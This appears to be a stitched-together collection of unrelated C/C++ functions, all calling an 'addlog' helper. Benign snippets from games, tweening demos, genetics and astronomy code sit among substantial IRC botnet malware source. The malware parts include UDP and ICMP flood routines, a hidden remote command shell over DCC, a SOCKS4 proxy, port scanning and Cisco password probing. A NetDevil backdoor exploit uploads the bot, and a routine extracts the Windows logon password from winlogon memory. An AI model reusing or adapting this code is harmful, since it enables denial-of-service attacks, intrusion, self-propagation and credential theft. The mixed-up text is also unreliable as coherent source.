void demoCallback::keyPressed( int key ) { if ( key == 357 ) { _tweener->setTimeSpeed( _tweener->timespeed() + 0.02 ); addlog( "increasing tweener speed" ); } else if ( key == 359 ) { _tweener->setTimeSpeed( _tweener->timespeed() - 0.02 ); addlog( "decreasing tweener speed" ); } else if ( key == 'p' ) { _tweener->togglePlay(); addlog( "toggle tweener play" ); } else { cout << key << ", " << (char) key << endl; } }
// function for sending udp packets DWORD WINAPI udp(LPVOID param) { PINGFLOOD udp = *((PINGFLOOD *)param); PINGFLOOD *udps = (PINGFLOOD *)param; udps->gotinfo = TRUE; char sendbuf[IRCLINE], pbuff[MAXPINGSIZE]; int i; srand(GetTickCount()); SOCKET usock = fsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; IN_ADDR iaddr; iaddr.s_addr = finet_addr(udp.host); LPHOSTENT hostent = NULL; if (iaddr.s_addr == INADDR_NONE) hostent = fgethostbyname(udp.host); if (hostent == NULL && iaddr.s_addr == INADDR_NONE) { sprintf(sendbuf,"[UDP]: Error sending pings to %s.", udp.host); if (!udp.silent) irc_privmsg(udp.sock, udp.chan, sendbuf, udp.notice); addlog(sendbuf); clearthread(udp.threadnum); ExitThread(1); } ssin.sin_addr = ((hostent != NULL)?(*((LPIN_ADDR)*hostent->h_addr_list)):(iaddr)); ssin.sin_port = ((udp.port == 0)?(fhtons((unsigned short)((rand() % MAXPINGSIZE) + 1))):(fhtons((unsigned short)udp.port))); if (udp.port < 1) udp.port = 1; if (udp.port > MAXUDPPORT) udp.port = MAXUDPPORT; udp.num = udp.num / 10; if (udp.delay == 0) udp.delay = 1; for (i = 0; i < udp.size; i++) pbuff[i] = (char)(rand() % 255); while (udp.num-- > 0) { //change port every 10 packets (if one isn't specified) for (i = 0; i < 11; i++) { fsendto(usock, pbuff, udp.size-(rand() % 10), 0, (LPSOCKADDR)&ssin, sizeof(ssin)); Sleep(udp.delay); } if (udp.port == 0) ssin.sin_port = fhtons((unsigned short)((rand() % MAXPINGSIZE) + 1)); } sprintf(sendbuf,"[UDP]: Finished sending packets to %s.", udp.host); if (!udp.silent) irc_privmsg(udp.sock, udp.chan, sendbuf, udp.notice); addlog(sendbuf); clearthread(udp.threadnum); ExitThread(0); }
//pthread function void *thr_time () { time_t tm_st; time_t tm_now; int tm_min; int tm_sec; double d_diff; FILE *fp; time(&tm_st); while(1) { time(&tm_now); d_diff = difftime(tm_now, tm_st); tm_min = d_diff/60; tm_sec = d_diff - (tm_min*60); if(tm_min == 1 && tm_sec == 0) addlog("1 minutes left", 3,1); else if(tm_min == 1 && tm_sec == 30) addlog("30 seconds left", 3,1); else if(tm_min == 1 && tm_sec == 45) addlog("15 seconds left" ,3,1); else if(tm_min == 1 && tm_sec == 55) addlog("5 seconds left", 3,1); else if(tm_min == 2 && tm_sec == 0) { addlog("Time out",3,1); fp = fdopen(pipefd[1], "w"); fprintf(fp, "t"); fflush(fp); return; } sleep(1); } }
//pthread function void *thr_mouse() { MEVENT event; int ch; char smbuf[3]; int x, y; FILE* fp; while(1) { ch =getch(); if( ch== KEY_MOUSE) { getmouse(&event); y= event.y-2; x= event.x-2; if(x<14 && y<14 && x>0 && y>0) { if(is_33(x, y)) addlog("3x3 not allowed", 3,1); else if(board[y][x]!=0) addlog("try again", 3,1); else { smbuf[0]=y; smbuf[1]=x; smbuf[2]='\0'; fp = fdopen(pipefd[1],"w"); fprintf(fp,"%s",smbuf); fflush(fp); return; } } } } }
Tmainwin::~Tmainwin() { addlog(_text("Destroying all existing display windows"),+1); Tcopyarray<TDisplayWindow> *wins=G_displaywindows(); for (int i=0; i<wins->G_count(); i++) wins->get(i)->DestroyWindow(); addlog(_text("All existing display windows are destroyed"),-1); addlog(_text("Saving open scripts list"),+1); QTextfile fl; QString filename,st; FormatString(filename,_qstr("^1\\openscripts.txt"),G_datadir()); fl.openwrite(filename); FormatString(st,_qstr("^1"),G_sourcetabbar()->G_curtab()); fl.write(st);fl.writeline(); for (int i=0; i<scripts.G_count(); i++) { fl.write(scripts[i]->G_source().G_filename()); fl.writeline(); } fl.close(); addlog(_text("Open scripts list saved"),-1); addlog(_text("Closing log file")); logfilestarted=false; }
void dcc_recv_callback (irc_session_t * irc_session, irc_dcc_t id, int status, void * ctx, const char * data, unsigned int length) { static int count = 1; char buf[12]; switch (status) { case LIBIRC_ERR_CLOSED: addlog ("DCC %d: chat closed", id); break; case 0: if ( !data ) { addlog ("DCC %d: chat connected", id); irc_dcc_msg (irc_session, id, "Hehe"); } else { addlog ("DCC %d: %s", id, data); sprintf (buf, "DCC [%d]: %d", id, count++); irc_dcc_msg (irc_session, id, buf); } break; default: addlog ("DCC %d: error %s", id, irc_strerror(status)); break; } }
void calc_markprob(int n_ind, int n_pos, int n_gen, int *geno, double *rf, double *rf2, double error_prob, double *markprob, double initf(int), double emitf(int, int, double), double stepf(int, int, double, double)) { int i, j, j2, v, v2; double **betal, **betar; /* betas for left and right sides of the chromosome */ int **Geno; double ***Markprob; /* allocate space for betal and betar and reorganize geno and markprob */ reorg_geno(n_ind, n_pos, geno, &Geno); reorg_genoprob(n_ind, n_pos, n_gen, markprob, &Markprob); allocate_alpha(n_pos, n_gen, &betal); allocate_alpha(n_pos, n_gen, &betar); for(i=0; i<n_ind; i++) { /* i = individual */ /* initialize betal and betar */ for(v=0; v<n_gen; v++) { betal[v][0] = 0.0; betar[v][n_pos-1] = 0.0; } /* backward equations */ for(j=1,j2=n_pos-2; j<n_pos; j++, j2--) { for(v=0; v<n_gen; v++) { betal[v][j] = betal[0][j-1] + stepf(v+1, 1, rf[j-1], rf2[j-1]) + emitf(Geno[j-1][i],1,error_prob); betar[v][j2] = betar[0][j2+1] + stepf(v+1,1,rf[j2], rf2[j2]) + emitf(Geno[j2+1][i],1,error_prob); for(v2=1; v2<n_gen; v2++) { betal[v][j] = addlog(betal[v][j], betal[v2][j-1] + stepf(v+1,v2+1,rf[j-1],rf2[j-1]) + emitf(Geno[j-1][i],v2+1,error_prob)); betar[v][j2] = addlog(betar[v][j2], betar[v2][j2+1] + stepf(v+1,v2+1,rf[j2],rf2[j2]) + emitf(Geno[j2+1][i],v2+1,error_prob)); } } } /* calculate genotype probabilities */ for(j=0; j<n_pos; j++) for(v=0; v<n_gen; v++) Markprob[v][j][i] = exp(betal[v][j] + betar[v][j] + emitf(Geno[j][i], v+1, error_prob)); } /* loop over individuals */ }
DWORD WINAPI IdentThread(LPVOID param) { char user[12], buffer[IRCLINE]; int threadnum = (int)param; BOOL success = FALSE; SOCKET ssock,csock; SOCKADDR_IN ssin, csin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned short)113); ssin.sin_addr.s_addr=INADDR_ANY; if ((ssock = fsocket(AF_INET, SOCK_STREAM, 0)) != INVALID_SOCKET) { threads[threadnum].sock = ssock; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { if (flisten(ssock, 5) != SOCKET_ERROR) { int csin_len = sizeof(csin); while (1) { if ((csock = faccept(ssock,(LPSOCKADDR)&csin,&csin_len)) == INVALID_SOCKET) break; sprintf(buffer, "[IDENTD]: Client connection from IP: %s:%d.", finet_ntoa(csin.sin_addr), csin.sin_port); addlog(buffer); if (frecv(csock,buffer,sizeof(buffer),0) != SOCKET_ERROR) { Split(buffer,0); memset(user, 0, sizeof(user)); _snprintf(buffer,sizeof(buffer)," : USERID : UNIX : %s\r\n",rndnick(user, LETTERNICK, FALSE)); if (fsend(csock,buffer,strlen(buffer),0) != SOCKET_ERROR) success = TRUE; } } } } } if (!success) { sprintf(buffer, "[IDENTD]: Error: server failed, returned: <%d>.", fWSAGetLastError()); addlog(buffer); } fclosesocket(ssock); fclosesocket(csock); clearthread(threadnum); ExitThread(0); }
DWORD WINAPI Socks4Thread(LPVOID param) { char sendbuf[IRCLINE]; SOCKADDR_IN ssin, csin; SOCKET ssock, csock; DWORD lpThreadId; int csin_len = sizeof(csin); SOCKS4 socks4 = *((SOCKS4 *)param); SOCKS4 *socks4p = (SOCKS4 *)param; socks4p->gotinfo = TRUE; memset(&ssin,0,sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned short)socks4.port); ssin.sin_addr.s_addr = INADDR_ANY; ssock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); threads[socks4.threadnum].sock=ssock; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) == 0) { if (flisten(ssock, 10) == 0) { sprintf(sendbuf, "[SOCKS4]: Server started on: %s:%d.", GetIP(socks4.sock), socks4.port); if (!socks4.silent) irc_privmsg(socks4.sock, socks4.chan, sendbuf, socks4.notice); addlog(sendbuf); while (1) { csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len); socks4.cgotinfo = FALSE; sprintf(sendbuf,"[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), csin.sin_port, socks4.threadnum); socks4.cthreadnum = addthread(sendbuf,SOCKS4_THREAD,csock); threads[socks4.cthreadnum].parent = socks4.threadnum; if (threads[socks4.cthreadnum].tHandle = CreateThread(NULL, 0, &Socks4ClientThread, (LPVOID)&socks4, 0, &lpThreadId)) { while (socks4.cgotinfo == FALSE) Sleep(5); } else sprintf(sendbuf, "[SOCKS4]: Failed to start client thread, error: <%d>.", GetLastError()); addlog(sendbuf); } } } fclosesocket(ssock); sprintf(sendbuf, "[SOCKS4]: Failed to start server on Port %d.", socks4.port); if (!socks4.silent) irc_privmsg(socks4.sock, socks4.chan, sendbuf, socks4.notice); addlog(sendbuf); clearthread(socks4.threadnum); ExitThread(0); }
//exit with winner void w_exit(int winner) { if(winner == 1) addlog("You win!", 3, 3); else if(winner == -1) addlog("Opponent disconnected",3, 3); else addlog("You lose", 3, 3); sleep(5); printf("\n"); exit(0); }
DWORD WINAPI DCCChatThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char buffer[4096]; SOCKET ssock; if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) { sprintf(buffer,"[DCC]: Failed to open socket."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); clearthread(dcc.threadnum); ExitThread(1); } if (open_cmd(ssock,"") == -1) { sprintf(buffer,"[DCC]: Failed to open remote command shell."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(1); } Sleep(100); while (1) { memset(buffer, 0, sizeof(buffer)); if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0) break; strcat(buffer,"\n"); if (!send_commands(buffer)) break; Sleep(100); if (findthreadid(RCMD_THREAD) == 0) break; } sprintf(buffer,"[DCC]: Failed to send to Remote command shell."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(0); }
// function for sending pings DWORD WINAPI ping(LPVOID param) { char sendbuf[IRCLINE], pbuff[MAXPINGSIZE]; unsigned long ip; PINGFLOOD ping = *((PINGFLOOD *)param); PINGFLOOD *pings = (PINGFLOOD *)param; pings->gotinfo = TRUE; HANDLE icmp = (HANDLE)fIcmpCreateFile(); IN_ADDR iaddr; iaddr.s_addr = finet_addr(ping.host); LPHOSTENT hostent = NULL; if (iaddr.s_addr == INADDR_NONE) hostent = fgethostbyname(ping.host); if ((hostent == NULL && iaddr.s_addr == INADDR_NONE) || icmp == INVALID_HANDLE_VALUE) { sprintf(sendbuf,"[PING]: Error sending pings to %s.", ping.host); if (!ping.silent) irc_privmsg(ping.sock, ping.chan, sendbuf, ping.notice); addlog(sendbuf); clearthread(ping.threadnum); ExitThread(1); } if (hostent != NULL) ip = *(DWORD*)*hostent->h_addr_list; else ip = iaddr.s_addr; ICMP_ECHO_REPLY reply; memset(&reply, 0, sizeof(reply)); reply.RoundTripTime = 0xffffffff; if (ping.size > MAXPINGSIZE) ping.size = MAXPINGSIZE; if (ping.delay < 1) ping.delay = 1; for (int i = 0; i < ping.num; i++) fIcmpSendEcho(icmp, ip, pbuff, ping.size, NULL, &reply, sizeof(ICMP_ECHO_REPLY), ping.delay); fIcmpCloseHandle(icmp); sprintf(sendbuf,"[PING]: Finished sending pings to %s.", ping.host); if (!ping.silent) irc_privmsg(ping.sock, ping.chan, sendbuf, ping.notice); addlog(sendbuf); clearthread(ping.threadnum); ExitThread(0); }
void CheckServers(ADVSCAN scan) { char sendbuf[IRCLINE]; DWORD id; if(scan.exploit != -1) { if (exploit[scan.exploit].tftp == TRUE) { if (findthreadid(TFTP_THREAD) == 0) { TFTP tftp; tftp.threads=0; GetModuleFileName(0,tftp.filename,MAX_PATH); strncpy(tftp.requestname, filename, sizeof(tftp.requestname)-1); strcpy(tftp.chan, channel); tftp.notice = scan.notice; tftp.silent = FALSE; tftp.info = FALSE; tftp.socket = scan.sock; sprintf(sendbuf, "[tftp]: Server started on Port: %d, File: %s, Request: %s.", tftpport, tftp.filename, tftp.requestname); tftp.threadnum = addthread(sendbuf,TFTP_THREAD,NULL); strncpy(threads[tftp.threadnum].file,tftp.filename,sizeof(threads[tftp.threadnum].file)-1); threads[tftp.threadnum].port = tftpport; threads[tftp.threadnum].tHandle = CreateThread(NULL, 0, &tftpserver, (void *)&tftp, 0, &id); while (tftp.info == FALSE) Sleep(50); addlog(sendbuf); } } else if (exploit[scan.exploit].http == TRUE) { if (findthreadid(HTTP_THREAD) == 0) { char dirpath[MAX_PATH],*c; GetModuleFileName(0,dirpath,MAX_PATH); if ((c=strrchr(dirpath,'\\')) != NULL) *c='\0'; if ((HTTP_server(GetIP(scan.sock),httpport,dirpath,FALSE)) == -1) sprintf(sendbuf,"[http]: Server failed to start."); else sprintf(sendbuf,"[http]: Server started on IP: %s:%d, Directory: %s\\.", GetIP(scan.sock), httpport, dirpath); addlog(sendbuf); } } } return; }
BOOL CiscoHTTP(EXINFO exinfo) { int ret,SocketFD; char buffer[4096]; if((SocketFD = fsocket(AF_INET, SOCK_STREAM, 0)) < 0) return FALSE;; SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = finet_addr(exinfo.ip); ssin.sin_port = fhtons((unsigned short)exinfo.port); if(fconnect(SocketFD, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { if(fsend(SocketFD, HTTP_REQUEST, strlen(HTTP_REQUEST), 0) < 0) return FALSE; memset(buffer, 0, sizeof(buffer)); if((ret = frecv(SocketFD, buffer, sizeof(buffer), 0)) < 0) return FALSE; fclosesocket(SocketFD); if(ret < 5) return FALSE; if(strstr(buffer, "HTTP/1.0 200 OK") == NULL || strstr(buffer, "cisco") == NULL) return FALSE; char sendbuf[IRCLINE]; _snprintf(sendbuf, sizeof(sendbuf), "-\x03\x34\2cisco(http)\x03\2- found router: %s", exploit[exinfo.exploit].name, exinfo.ip); irc_privmsg(exinfo.sock, exinfo.chan, sendbuf, exinfo.notice); addlog(sendbuf); exploit[exinfo.exploit].stats++; return TRUE; } return FALSE; }
BOOL Cisco(EXINFO exinfo) { int ret,SocketFD; char buffer1[64],buffer2[64]; if((SocketFD = fsocket(AF_INET, SOCK_STREAM, 0)) < 0) return FALSE;; SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = finet_addr(exinfo.ip); ssin.sin_port = fhtons((unsigned short)exinfo.port); if(fconnect(SocketFD, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { memset(buffer1, '\0', 64); memset(buffer2, '\0', 64); if ((ret = frecv(SocketFD, buffer1, 64, 0)) > 0) { ret = frecv(SocketFD, buffer1, 64, 0); fsend(SocketFD,"cisco\r",6,0); ret = frecv(SocketFD, buffer2, 64, 0); if( (memcmp(buffer2,"\r\nPass",6)) && !(memcmp(buffer1,"\r\n\r\nUser Access Verification\r\n\r\nPassword",40))) { char sendbuf[IRCLINE]; _snprintf(sendbuf, sizeof(sendbuf), "-\x03\x34\2cisco(telnet)\x03\2- found router: %s", exploit[exinfo.exploit].name, exinfo.ip); irc_privmsg(exinfo.sock, exinfo.chan, sendbuf, exinfo.notice); addlog(sendbuf); exploit[exinfo.exploit].stats++; return TRUE; } } } return FALSE; }
double samppow(double e, double a, double b) // sample x^e in range (a,b) // uses cdf method since integral is analytic // care taken to prevent underflow { double ztot, rhs, zlog, ee, x ; double y1, y2, u ; ee = e+1.0 ; if (ee<0.0) fatalx("e must be > -1 \n") ; // fixable if integral finite if (b<a) return samppow(e, b, a) ; if (a==b) return a ; u = DRAND2() ; if (u==0.0) u = 0.5 ; // tiny hack y1 = ee*log(b) + log(u) ; if (a==0.0) zlog = y1 ; else { y2 = ee*log(a) + log(1.0-u) ; zlog = addlog(y1, y2) ; } /** ztot = pow(b, ee) - pow(a, ee) ; rhs = ztot*DRAND() + pow(a, ee) ; zlog = log(rhs) ; */ x = exp(zlog/ee) ; return x ; }
DWORD WINAPI ShowLogThread(LPVOID param) { char sendbuf[IRCLINE]; int entries = LOGSIZE, tmp = 0; SHOWLOG showlog = *((SHOWLOG *)param); SHOWLOG *showlogp = (SHOWLOG *)param; showlogp->gotinfo = TRUE; if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,"-\x03\x34\2log\2\x03- list starting",showlog.notice); if (showlog.filter[0] != '\0') { if ((tmp = atoi(showlog.filter)) != 0) entries = tmp; } for (int i = 0, j = 0; i < LOGSIZE && j < entries; i++, j++) if (log[i][0] != '\0') { if (showlog.filter[0] == '\0' || tmp != 0) irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE); else if (lstrstr(log[i], showlog.filter)) irc_privmsg(showlog.sock, showlog.chan, log[i], showlog.notice, TRUE); } sprintf(sendbuf,"-\x03\x34\2log\2\x03- list complete"); if (!showlog.silent) irc_privmsg(showlog.sock,showlog.chan,sendbuf,showlog.notice); addlog(sendbuf); clearthread(showlog.threadnum); ExitThread(0); }
void marker_loglik(int n_ind, int n_gen, int *geno, double error_prob, double initf(int, int *), double emitf(int, int, double, int *), double *loglik) { int i, v; double temp; int cross_scheme[2]; /* cross scheme hidden in loglik argument; used by hmm_bcsft */ cross_scheme[0] = (int) ftrunc(*loglik / 1000.0); cross_scheme[1] = ((int) *loglik) - 1000 * cross_scheme[0]; *loglik = 0.0; for(i=0; i<n_ind; i++) { /* i = individual */ R_CheckUserInterrupt(); /* check for ^C */ temp = initf(1, cross_scheme) + emitf(geno[i], 1, error_prob, cross_scheme); for(v=1; v<n_gen; v++) temp = addlog(temp, initf(v+1, cross_scheme) + emitf(geno[i], v+1, error_prob, cross_scheme)); (*loglik) += temp; } }
// checks ip for open port DWORD WINAPI ScanConnectThread(LPVOID param) { static char sendbuf[IRCLINE]; SCAN scan = *((SCAN *)param); SCAN *scans = (SCAN *)param; scans->cgotinfo = TRUE; SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons((unsigned short)scan.port); ssin.sin_addr = scan.addy; SOCKET sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if(sock != INVALID_SOCKET) { DWORD err = fconnect(sock, (LPSOCKADDR)&ssin, sizeof(SOCKADDR_IN)); threads[scan.threadnum].sock = sock; if (err != SOCKET_ERROR) { sprintf(sendbuf,"nzm (portscan.plg) »» IP: %s Port: %d is open.", finet_ntoa(scan.addy), scan.port); irc_privmsg(scan.sock, scan.chan, sendbuf, scan.notice); addlog(sendbuf); } } fclosesocket(sock); return 0; }
void Tmainwin::openactivescripts() { addlog(_text("Opening active scripts"),+1); TQXpanel *sourcepanel=G_panel_byname(_qstr("Source")); if (sourcepanel==NULL) { ASSERT(false); return; } sourcepanel->customtabs_init(scriptsourceview); try{ QTextfile fl; QString filename,line; FormatString(filename,_qstr("^1\\openscripts.txt"),G_datadir()); fl.openread(filename); fl.readline(line); int activescriptnr=qstr2int(line); while(!fl.isend()) { fl.readline(line); if (line.G_length()>0) { try{ TSC_script *script1=new TSC_script(&GetTSCenv()); script1->G_source().load(line); scripts.add(script1); sourcepanel->customtabs_add(script1->G_source().G_filename()); } catch(QError err) { QString errstr; FormatString(errstr,_text("Unable to open script file ^1: ^2"),line,err.G_content()); reporterror(errstr); } } } fl.close(); if ((activescriptnr>=0)&&(activescriptnr<scripts.G_count())) G_sourcetabbar()->change_tab(activescriptnr); else scriptsourceview->Set_script(scripts[0]); addlog(_text("Active scripts opened"),-1); } catch(QError &err) { reporterror(err.G_content()); } }
int open_cmd(SOCKET sock,char * chan) { char buffer[IRCLINE], cmddir[MAX_PATH]; int threadnum; SECURITY_ATTRIBUTES secAttr; HANDLE hChildOutRd, hChildOutWr, hChildInRd, hChildInWr; Close_Handles(); if(fSearchPath(NULL,"cmd.exe",NULL,sizeof(cmddir),cmddir,NULL) == 0) return -1; secAttr.nLength = sizeof(secAttr); secAttr.bInheritHandle = TRUE; secAttr.lpSecurityDescriptor = NULL; if (!CreatePipe(&hChildOutRd, &hChildOutWr, &secAttr, 0)) return -1; if (!CreatePipe(&hChildInRd, &hChildInWr, &secAttr, 0)) return -1; if (!DuplicateHandle(GetCurrentProcess(), hChildInWr, GetCurrentProcess(), &hChildInWrDupe, 0, FALSE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE)) return -1; PROCESS_INFORMATION pinfo; memset(&pinfo, 0, sizeof(pinfo)); STARTUPINFO sinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sinfo.wShowWindow = SW_HIDE; sinfo.hStdInput = hChildInRd; sinfo.hStdOutput = hChildOutWr; sinfo.hStdError = hChildOutWr; if (!CreateProcess(cmddir,"", NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo)) return -1; CloseHandle(hChildInRd); DWORD id; pipe_read = hChildOutRd; pipe_write = hChildInWr; pipe_Hproc = pinfo.hProcess; CloseHandle(pinfo.hThread); pipesock = sock; if (chan) sprintf(pipe_chan,chan); else sprintf(pipe_chan,""); threadnum = addthread("[CMD]: Remote Command Prompt",RCMD_THREAD,NULL); threads[threadnum].pid = pinfo.dwProcessId; if ((threads[threadnum].tHandle = CreateThread(NULL, 0, &PipeReadThread, (LPVOID)threadnum, 0, &id)) == NULL) { sprintf(buffer,"[CMD]: Failed to start IO thread, error: <%d>.", GetLastError()); addlog(buffer); } return 0; }
void clearlog(SOCKET sock, char *chan, BOOL notice, BOOL silent) { for (register int i = 0;i < LOGSIZE; log[i++][0] = '\0'); if (!silent) irc_privmsg(sock, chan, "[LOGS]: Cleared.", notice); addlog("[LOGS]: Cleared."); return; }
void clearlog(SOCKET sock, char *chan, BOOL notice, BOOL silent) { for (register int i = 0;i < LOGSIZE; log[i++][0] = '\0'); if (!silent) irc_privmsg(sock, chan, "-\x03\x34\2log\2\x03- cleared", notice); addlog("-\x03\x34\2log\x03\2- Cleared."); return; }
void demoInt::keyPressed( int key ) { if ( key == 357 ) { _tweener->setTimeSpeed( _tweener->timespeed() + 0.02 ); addlog( "increasing tweener speed" ); } else if ( key == 359 ) { _tweener->setTimeSpeed( _tweener->timespeed() - 0.02 ); addlog( "decreasing tweener speed" ); } else if ( key == 'p' ) { _tweener->togglePlay(); addlog( "toggle tweener play" ); } else if ( key == 'k' ) { _tweener->killall(); allow_restart = true; addlog( "killing all tweens" ); } else if ( key == 'r' ) { if ( allow_restart ) { for ( int i = 0; i < interpolation_count; ++i ) { _tweener->addTween( tween_int_configs[ i ], &values[ i ] ); } allow_restart = false; } addlog( "restart all tweens" ); } else { cout << key << ", " << (char) key << endl; } }
void loadstockcyclorbits() { Tcyclorbit2 *orb; QString filename; addlog(_text("Loading stock cyclic orbits"),+1); filename=G_datadir();filename+=_text("/AstroData/MERCURIUS_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("MERCURIUS")); filename=G_datadir();filename+=_text("/AstroData/VENUS_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("VENUS")); filename=G_datadir();filename+=_text("/AstroData/EARTH_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km);stockcyclorbitnames.add(new QString("EARTH")); stockcyclorbits.add(orb); filename=G_datadir();filename+=_text("/AstroData/MARS_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("MARS")); filename=G_datadir();filename+=_text("/AstroData/JUPITER_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("JUPITER")); filename=G_datadir();filename+=_text("/AstroData/SATURNUS_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("SATURNUS")); filename=G_datadir();filename+=_text("/AstroData/URANUS_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("URANUS")); filename=G_datadir();filename+=_text("/AstroData/NEPTUNUS_cycl.tab"); orb=new Tcyclorbit2(filename,0.00001,au2km); stockcyclorbits.add(orb);stockcyclorbitnames.add(new QString("NEPTUNUS")); addlog(_text("Stock cyclic orbits loaded"),-1); }
void irc_event_dcc_send (irc_session_t * irc_session, const char * nick, const char * addr, const char * filename, unsigned long size, irc_dcc_t dccid) { FILE * fp; addlog ("DCC send [%d] requested from '%s' (%s): %s (%lu bytes)", dccid, nick, addr, filename, size); if ( (fp = fopen (filename, "wb")) == 0 ) abort(); irc_dcc_accept (irc_session, dccid, fp, dcc_file_send_callback); }
BOOL NetDevil(EXINFO exinfo) { char buffer[IRCLINE]; DWORD mode=0; SOCKET ssock; if ((ssock = fsocket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) return FALSE; SOCKADDR_IN sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = finet_addr(exinfo.ip); sin.sin_port = fhtons(exinfo.port); fconnect(ssock,(LPSOCKADDR)&sin,sizeof(sin)); fioctlsocket(ssock,FIONBIO,&mode); for (int i=0; passwords[i]; i++) { Sleep(50); memset(buffer,0,sizeof(buffer)); if (NetDevil_Receive(ssock) == -1) break; if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0) break; if (strcmp(buffer,"passed") == 0) { sprintf(buffer,"nd %s %s",exinfo.ip ,passwords[i-1]); fsend(ssock, buffer, strlen(buffer), 0); if (NetDevil_Upload(exinfo.ip,ssock) == 1) { fclosesocket(ssock); _snprintf(buffer,sizeof(buffer),"[%s]: Exploiting IP: %s, Password: (%s)",exploit[exinfo.exploit].name,exinfo.ip,((strcmp(passwords[i-i],"")==0)?("(no password)"):(passwords[i-1]))); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); addlog(buffer); exploit[exinfo.exploit].stats++; return TRUE; } break; } if (strcmp(buffer,"pass_pleaz") == 0) { memset(buffer,0,sizeof(buffer)); sprintf(buffer,"pass_pleaz%s",passwords[i]); fsend(ssock,buffer ,strlen(buffer), 0); continue; } else break; } fclosesocket(ssock); return FALSE; }
DWORD WINAPI FindPassThread(LPVOID param) { FINDPASS findpass = *((FINDPASS *)param); FINDPASS *findpasss = (FINDPASS *)param; findpasss->gotinfo = TRUE; char sendbuf[IRCLINE]; DWORD dwOS = OSVersionCheck(); if (dwOS == OS_WINNT || dwOS == OS_WIN2K) { if (AdjustPrivileges("SeDebugPrivilege", TRUE)) { HINSTANCE hNtDll = LoadLibrary("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION)GetProcAddress (hNtDll,"NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER)GetProcAddress (hNtDll,"RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION)GetProcAddress (hNtDll,"RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER)GetProcAddress (hNtDll,"RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING)GetProcAddress (hNtDll,"RtlRunDecodeUnicodeString"); DWORD WinLogonPID = FindWinLogon(); if (WinLogonPID != 0) { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); BOOL FoundPasswordPage = ((dwOS == OS_WINNT)?(LocatePasswordPageWinNT(WinLogonPID,&PasswordLength)) :(LocatePasswordPageWin2K(WinLogonPID,&PasswordLength))); if (FoundPasswordPage) { if (PasswordLength == 0) _snprintf(sendbuf,sizeof(sendbuf),"[FINDPASS]: The Windows logon (Pid: <%d>) information is: Domain: \\\\%S, User: (%S/(no password)).", WinLogonPID,UserDomain,UserName); else sprintf(sendbuf,(dwOS == OS_WINNT)?(DisplayPasswordWinNT(WinLogonPID)):(DisplayPasswordWin2K(WinLogonPID))); } else sprintf(sendbuf,"[FINDPASS]: Unable to find the password in memory."); } else sprintf(sendbuf,"[FINDPASS]: Unable to find Winlogon Process ID."); 